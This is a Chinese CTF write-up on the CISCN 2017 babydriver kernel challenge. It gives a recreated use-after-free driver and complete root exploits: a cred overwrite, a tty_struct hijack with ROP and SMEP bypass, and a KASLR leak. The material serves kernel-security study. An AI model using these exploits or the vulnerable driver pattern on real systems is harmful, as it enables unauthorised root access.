在 2021 年再看 ciscn_2017 - babydriver(上):cred 与 tty_struct 提权手法浅析
0x00.一切开始之前
对于学习过 kernel pwn 的诸位而言,包括笔者在内的第一道入门题基本上都是 CISCN2017 - babydriver 这一道题,同样地,无论是在 CTF wiki 亦或是其他的 kernel pwn 入门教程当中,这一道题向来都是入门的第一道题(笔者的教程除外)
当然,在笔者看来,这道题当年的解法已然过时,笔者个人认为在当下入门 kernel pwn 最好还是使用我们在用户态下学习的路径——从栈溢出开始再到“堆”
但不可否认的是,时至今日,这一道题仍然具备着相当的的学习价值,仍旧是一道不错的 kernel pwn 入门题,因此笔者今天就来带大家看看——到了2021年,这一道 2017年的“基础的 kernel pwn 入门题”的解法究竟有了些什么变化,又能给我们带来什么样的启发,笔者将借助这篇文章阐述一些 kernel pwn 的利用思路
PRE. babydev.ko 源码复刻
笔者将尝试给出在不同的内核版本下这一道题的解法,因此需要重新编译本题的内核模块,不过笔者在网上未能找到本题的源码,好在题目逻辑并不复杂,笔者选择自己复刻一份
/** arttnba3_module.ko* developed by arttnba3*/#include <linux/module.h>#include <linux/kernel.h>#include <linux/init.h>#include <linux/fs.h>#include <linux/device.h>#include <linux/slab.h>#include <linux/uaccess.h>#define DEVICE_NAME "babydev"#define CLASS_NAME "a3module"static int major_num;static struct class * module_class = NULL;static struct device * module_device = NULL;static spinlock_t spin;static int __init kernel_module_init(void);static void __exit kernel_module_exit(void);static int a3_module_open(struct inode *, struct file *);static ssize_t a3_module_read(struct file *, char __user *, size_t, loff_t *);static ssize_t a3_module_write(struct file *, const char __user *, size_t, loff_t *);static int a3_module_release(struct inode *, struct file *);static long a3_module_ioctl(struct file *, unsigned int cmd, long unsigned int param);static struct file_operations a3_module_fo = { .owner = THIS_MODULE, .unlocked_ioctl = a3_module_ioctl, .open = a3_module_open, .read = a3_module_read, .write = a3_module_write, .release = a3_module_release,};static struct{ void *device_buf; size_t device_buf_len;}babydev_struct;module_init(kernel_module_init);module_exit(kernel_module_exit);MODULE_LICENSE("GPL");MODULE_AUTHOR("arttnba3");static int __init kernel_module_init(void){ spin_lock_init(&spin); printk(KERN_INFO "[arttnba3_TestModule:] Module loaded. Start to register device...\n"); major_num = register_chrdev(0, DEVICE_NAME, &a3_module_fo); if(major_num < 0) { printk(KERN_INFO "[arttnba3_TestModule:] Failed to register a major number.\n"); return major_num; } printk(KERN_INFO "[arttnba3_TestModule:] Register complete, major number: %d\n", major_num); module_class = class_create(THIS_MODULE, CLASS_NAME); if(IS_ERR(module_class)) { unregister_chrdev(major_num, DEVICE_NAME); printk(KERN_INFO "[arttnba3_TestModule:] Failed to register class device!\n"); return PTR_ERR(module_class); } printk(KERN_INFO "[arttnba3_TestModule:] Class device register complete.\n"); module_device = device_create(module_class, NULL, MKDEV(major_num, 0), NULL, DEVICE_NAME); if(IS_ERR(module_device)) { class_destroy(module_class); unregister_chrdev(major_num, DEVICE_NAME); printk(KERN_INFO "[arttnba3_TestModule:] Failed to create the device!\n"); return PTR_ERR(module_device); } printk(KERN_INFO "[arttnba3_TestModule:] Module register complete.\n"); return 0;}static void __exit kernel_module_exit(void){ printk(KERN_INFO "[arttnba3_TestModule:] Start to clean up the module.\n"); device_destroy(module_class, MKDEV(major_num, 0)); class_destroy(module_class); unregister_chrdev(major_num, DEVICE_NAME); printk(KERN_INFO "[arttnba3_TestModule:] Module clean up complete. See you next time.\n");}static long a3_module_ioctl(struct file * __file, unsigned int cmd, long unsigned int param){ if (cmd == 65537) { kfree(babydev_struct.device_buf); babydev_struct.device_buf = kmalloc(param, GFP_ATOMIC); babydev_struct.device_buf_len = param; printk(KERN_INFO "alloc done\n"); return 0; } else { printk(KERN_INFO "default arg is %ld\n", param); return -22; }}static int a3_module_open(struct inode * __inode, struct file * __file){ babydev_struct.device_buf = kmalloc(0x40, GFP_ATOMIC); babydev_struct.device_buf_len = 0x40; printk(KERN_INFO "device open\n"); return 0;}static int a3_module_release(struct inode * __inode, struct file * __file){ kfree(babydev_struct.device_buf); printk(KERN_INFO "device release\n"); return 0;}static ssize_t a3_module_read(struct file * __file, char __user * user_buf, size_t size, loff_t * __loff){ size_t result; if (!babydev_struct.device_buf) return -1LL; result = -2LL; if (babydev_struct.device_buf_len > size) { copy_to_user(user_buf, babydev_struct.device_buf, size); result = size; } return result;}static ssize_t a3_module_write(struct file * __file, const char __user * user_buf, size_t size, loff_t * __loff){ size_t result; if (!babydev_struct.device_buf ) return -1LL; result = -2LL; if ( babydev_struct.device_buf_len > size) { copy_from_user(babydev_struct.device_buf, user_buf, size); result = size; } return result;}0x01.kernel 4.4.72 —— 最初的babydriver
我们首先来看这道题最初是什么样子的,下面是笔者刚入门时写的 WP
分析
解压,惯例的磁盘镜像 + 内核镜像 + 启动脚本结构
查看boot.sh:
#!/bin/bashqemu-system-x86_64 -initrd core.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -monitor /dev/null -m 128M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep -s开启了SMEP保护
解压磁盘镜像看看有没有什么可以利用的东西
$ mkdir core$ cp ./core.cpio ./core$ cd core$ cpio -idv < ./core.cpio
查看其启动脚本init:
#!/bin/shmount -t proc none /procmount -t sysfs none /sysmount -t devtmpfs devtmpfs /devchown root:root flagchmod 400 flagexec 0</dev/consoleexec 1>/dev/consoleexec 2>/dev/consoleinsmod /lib/modules/4.4.72/babydriver.kochmod 777 /dev/babydevecho -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"setsid cttyhack setuidgid 1000 shumount /procumount /syspoweroff -d 0 -f
其中加载了一个叫做babydriver.ko的驱动,按照惯例这个就是有着漏洞的驱动
惯例的checksec,发现其只开了NX保护,整挺好
拖入IDA进行分析
在驱动被加载时会初始化一个设备节点文件/dev/babydev
在我们使用open()打开设备文件时该驱动会分配一个chunk,该chunk的指针储存于全局变量babydev_struct中
使用ioctl进行通信则可以重新申请内存,改变该chunk的大小
在关闭设备文件时会释放该chunk,但是并未将指针置NULL,存在UAF漏洞
read和write就是简单的读写该chunk,便不贴图了
漏洞利用:Kernel UAF
若是我们的程序打开两次设备babydev,由于其chunk储存在全局变量中,那么我们将会获得指向同一个chunk的两个指针
而在关闭设备后该chunk虽然被释放,但是指针未置0,我们便可以使用另一个文件描述符操作该chunk,即Use After Free漏洞
而通过ioctl我们便可以调整这个chunk的大小,,那么只要我们将该chunk的大小设为一个cred结构体的大小后关闭该设备,之后fork()出新进程,那么内核中该空闲chunk就会被分配给新的进程作为其cred结构体,而我们此时还有另一个文件描述符可以操纵该内核模块中的该chunk,只要修改该cred结构体的 euid 为root便可以完成提权
exploit
最终的exp如下
#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <fcntl.h>#include <sys/types.h>int main(void){ printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n"); int fd1 = open("/dev/babydev", 2); int fd2 = open("/dev/babydev", 2); ioctl(fd1, 0x10001, 0xa8); close(fd1); int pid = fork(); if(pid < 0) { printf("\033[31m\033[1m[x] Unable to fork the new thread, exploit failed.\033[0m\n"); return -1; } else if(pid == 0) // the child thread { char buf[30] = {0}; write(fd2, buf, 28); if(getuid() == 0) { printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n"); system("/bin/sh"); return 0; } else { printf("\033[31m\033[1m[x] Unable to get the root, exploit failed.\033[0m\n"); return -1; } } else // the parent thread { wait(NULL);//waiting for the child } return 0;}
本地测试的话就放进磁盘重新打包后qemu起系统,运行即可获得root shell
0x02.kernel 4.5 —— cred_jar 与 kmalloc-192 分离
现在我们将目光放到 kernel 版本 4.5——离本题最近的一个版本,我们来看 cred_jar 的初始化过程,见 kernel/cred.c
4.4.72
/* * initialise the credentials stuff */ void __init cred_init(void) { /* allocate a slab in which we can store credentials */ cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred), 0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL); }
4.5
/* * initialise the credentials stuff */ void __init cred_init(void) { /* allocate a slab in which we can store credentials */ cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred), 0, SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL); }
我们可以注意到,在 slab 的创建 flag 中多了 一个 SLAB_ACCOUNT,这意味着 cred_jar 与 kmalloc-192 将不再合并,因此我们无法通过 kmalloc 直接分配到 cred_jar 中的 object,因此我们需要寻找别的方式来提权
这里我们选择通过 tty 设备来完成提权
漏洞利用:Kernel UAF + stack migitation + SMEP bypass + ret2usr
内核符号表可读(白给),我们能够很方便地获得相应内核函数的地址
没有开启 kaslr,所以可以直接从 vmlinux 中提取gadget地址,这里 ROPgadget 和 ropper 半斤八两,建议两个配合着一起用,也可以用 pwntools 的 ELF,个人感觉更加方便
由于开启了 SMEP 保护,无法直接 ret2usr,故我们需要改变 cr4 寄存器的值以 bypass smep
观察到在内核中有着如下的 gadget 可以很方便地改变 cr4 寄存器的值:
接下来考虑如何通过 UAF 劫持程序执行流
tty_operations:tty 设备操作关联函数表
在 /dev 下有一个伪终端设备 ptmx ,在我们打开这个设备时内核中会创建一个 tty_struct 结构体,与其他类型设备相同,tty驱动设备中同样存在着一个存放着函数指针的结构体 tty_operations
那么我们不难想到的是我们可以通过 UAF 劫持 /dev/ptmx 这个设备的 tty_struct 结构体与其内部的 tty_operations 函数表,那么在我们对这个设备进行相应操作(如write、ioctl)时便会执行我们布置好的恶意函数指针
由于没有开启SMAP保护,故我们可以在用户态进程的栈上布置ROP链与fake tty_operations结构体
内核中没有类似one_gadget一类的东西,因此为了完成ROP我们还需要进行一次栈迁移
使用gdb进行调试,观察内核在调用我们的恶意函数指针时各寄存器的值,我们在这里选择劫持tty_operaionts结构体到用户态的栈上,并选择任意一条内核gadget作为fake tty函数指针以方便下断点:
我们不难观察到,在我们调用tty_operations->write时,其rax寄存器中存放的便是tty_operations结构体的地址,因此若是我们能够在内核中找到形如mov rsp, rax的gadget,便能够成功地将栈迁移到tty_operations结构体的开头
使用 ROPgadget 我们可以找到一条交换 rsp 与 rax 后还能控制程序执行流的 gadget
那么利用这条gadget我们便可以很好地完成栈迁移的过程,执行我们所构造的ROP链
而tty_operations结构体开头到其write指针间的空间较小,因此我们还需要进行二次栈迁移,这里随便选一条改rax的gadget即可
FINAL EXPLOIT
最终的exploit应当如下:
#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <fcntl.h>#include <sys/types.h>#define XCHG_RAX_RSP_RET 0xffffffff8155b280#define POP_RDI_RET 0xffffffff811bf66d#define POP_RAX_RET 0xffffffff8100ccce#define MOV_CR4_RDI_POP_RBP_RET 0xffffffff81004dc0#define SWAPGS_POP_RBP_RET 0xffffffff81063674#define IRETQ 0xffffffff8107c1e8size_t commit_creds = NULL, prepare_kernel_cred = NULL;size_t user_cs, user_ss, user_rflags, user_sp;void saveStatus(){ __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");}void getRootPrivilige(void){ void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred; int (*commit_creds_ptr)(void *) = commit_creds; (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));}void getRootShell(void){ if(getuid()) { printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n"); exit(-1); } printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n"); system("/bin/sh");}int main(void){ printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n"); saveStatus(); //get the addr FILE* sym_table_fd = fopen("/proc/kallsyms", "r"); if(sym_table_fd < 0) { printf("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n"); exit(-1); } char buf[0x50], type[0x10]; size_t addr; while(fscanf(sym_table_fd, "%llx%s%s", &addr, type, buf)) { if(prepare_kernel_cred && commit_creds) break; if(!commit_creds && !strcmp(buf, "commit_creds")) { commit_creds = addr; printf("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n", commit_creds); continue; } if(!strcmp(buf, "prepare_kernel_cred")) { prepare_kernel_cred = addr; printf("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n", prepare_kernel_cred); continue; } } size_t rop[0x20], p = 0; rop[p++] = POP_RDI_RET; rop[p++] = 0x6f0; rop[p++] = MOV_CR4_RDI_POP_RBP_RET; rop[p++] = 0; rop[p++] = getRootPrivilige; rop[p++] = SWAPGS_POP_RBP_RET; rop[p++] = 0; rop[p++] = IRETQ; rop[p++] = getRootShell; rop[p++] = user_cs; rop[p++] = user_rflags; rop[p++] = user_sp; rop[p++] = user_ss; size_t fake_op[0x30]; for(int i = 0; i < 0x10; i++) fake_op[i] = XCHG_RAX_RSP_RET; fake_op[0] = POP_RAX_RET; fake_op[1] = rop; int fd1 = open("/dev/babydev", 2); int fd2 = open("/dev/babydev", 2); ioctl(fd1, 0x10001, 0x2e0); close(fd1); size_t fake_tty[0x20]; int fd3 = open("/dev/ptmx", 2); read(fd2, fake_tty, 0x40); fake_tty[3] = fake_op; write(fd2, fake_tty, 0x40); write(fd3, buf, 0x8); return 0;}
本地打包,运行,成功提权到root
0x03.加大难度(I)——设置kptr_restrict,开启KASLR
作为一道入门级别的题目,这一道题并没有开启 KASLR,同时内核符号表 /proc/kallsyms 可读,内核的一切在我们面前几乎是一览无余,但如果开启了 KASLR 且内核符号表不可读呢?这个时候我们又应该如何进行利用?
在文件系统 init 中添加如下语句:
echo 2 > /proc/sys/kernel/kptr_restrict
在启动脚本的 append 项添加 kaslr
泄露内核基址
在相当的一部分 kernel pwn 题目甚至是真实世界的 cve 的 poc 中,对 tty 设备进行利用向来都是最热门的手法之一,tty 设备对于我们内核攻击者而言是一个十分万能的工具箱——她不仅能帮助我们控制内核执行流,还能够帮助我们泄露内核中的相关地址
ptm_unix98_ops && pty_unix98_ops
由于我们已经获得了一个 tty_struct,故可以直接通过 tty_struct 中的 tty_operations 泄露地址
在 ptmx 被打开时内核通过 alloc_tty_struct() 分配 tty_struct 的内存空间,之后会将 tty_operations 初始化为全局变量 ptm_unix98_ops 或 pty_unix98_ops,因此我们可以通过 tty_operations 来泄露内核基址
在调试阶段我们可以先关掉 kaslr 开 root 从 /proc/kallsyms 中读取其偏移
开启了 kaslr 的内核在内存中的偏移依然以内存页为粒度,故我们可以通过比对 tty_operations 地址的低三16进制位来判断是 ptm_unix98_ops 还是 pty_unix98_ops
FINAL EXPLOIT
成功泄露内核基址之后,剩下的步骤与前面就没有差别了,最终的 exp 如下:
#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <fcntl.h>#include <sys/types.h>#define XCHG_RAX_RSP_RET 0xffffffff8155b280#define POP_RDI_RET 0xffffffff811bf66d#define POP_RAX_RET 0xffffffff8100ccce#define MOV_CR4_RDI_POP_RBP_RET 0xffffffff81004dc0#define SWAPGS_POP_RBP_RET 0xffffffff81063674#define IRETQ 0xffffffff8107c1e8#define PREPARE_KERNEL_CRED 0xffffffff810a15a0#define COMMIT_CREDS 0xffffffff810a11b0#define PTY_UNIX98_OPS 0xffffffff81a74700#define PTM_UNIX98_OPS 0xffffffff81a74820size_t commit_creds = NULL, prepare_kernel_cred = NULL, kernel_offset = 0, kernel_base = 0xffffffff81000000;size_t user_cs, user_ss, user_rflags, user_sp;void saveStatus(){ __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");}void getRootPrivilige(void){ void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred; int (*commit_creds_ptr)(void *) = commit_creds; (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));}void getRootShell(void){ if(getuid()) { printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n"); exit(-1); } printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n"); system("/bin/sh");}int main(void){ int fd1, fd2, tty_fd; size_t rop[0x100]; size_t tty_data[0x100]; size_t fake_ops[0x100]; size_t tty_ops; printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n"); saveStatus(); // construct UAF and get a tty_struct fd1 = open("/dev/babydev", 2); fd2 = open("/dev/babydev", 2); ioctl(fd1, 0x10001, 0x2e0); close(fd1); tty_fd = open("/dev/ptmx", 2); // get tty data and calculate the kernel base read(fd2, tty_data, 0x40); tty_ops = *(size_t*)(tty_data + 3); kernel_offset = ((tty_ops & 0xfff) == (PTY_UNIX98_OPS & 0xfff) ? (tty_ops - PTY_UNIX98_OPS) : tty_ops - PTM_UNIX98_OPS); kernel_base = (void*) ((size_t)kernel_base + kernel_offset); prepare_kernel_cred = PREPARE_KERNEL_CRED + kernel_offset; commit_creds = COMMIT_CREDS + kernel_offset; printf("\033[34m\033[1m[*] Kernel offset: \033[0m0x%llx\n", kernel_offset); printf("\033[32m\033[1m[+] Kernel base: \033[0m%p\n", kernel_base); printf("\033[32m\033[1m[+] prepare_kernel_cred: \033[0m%p\n", prepare_kernel_cred); printf("\033[32m\033[1m[+] commit_creds: \033[0m%p\n", commit_creds); // construct rop chain int p = 0; rop[p++] = POP_RDI_RET + kernel_offset; rop[p++] = 0x6f0; rop[p++] = MOV_CR4_RDI_POP_RBP_RET + kernel_offset; rop[p++] = 0; rop[p++] = getRootPrivilige; rop[p++] = SWAPGS_POP_RBP_RET + kernel_offset; rop[p++] = 0; rop[p++] = IRETQ + kernel_offset; rop[p++] = getRootShell; rop[p++] = user_cs; rop[p++] = user_rflags; rop[p++] = user_sp; rop[p++] = user_ss; for(int i = 0; i < 0x10; i++) fake_ops[i] = XCHG_RAX_RSP_RET + kernel_offset; fake_ops[0] = POP_RAX_RET + kernel_offset; fake_ops[1] = rop; tty_data[3] = fake_ops; // hijack tty_struct and tty_operations write(fd2, tty_data, 0x40); // triger write(tty_fd, "arttnba3", 0x8); return 0;}
本地打包,运行,get root
0xFF.What’s mote?
在下篇中笔者将阐述:
KPTI bypass 的基本手法seq_operations 与系统调用过程结合利用构造 ROPuserfaultfd 与 setattr 的利用……
本文由墨晚鸢原创发布转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/259252安全客 - 有思想的安全新媒体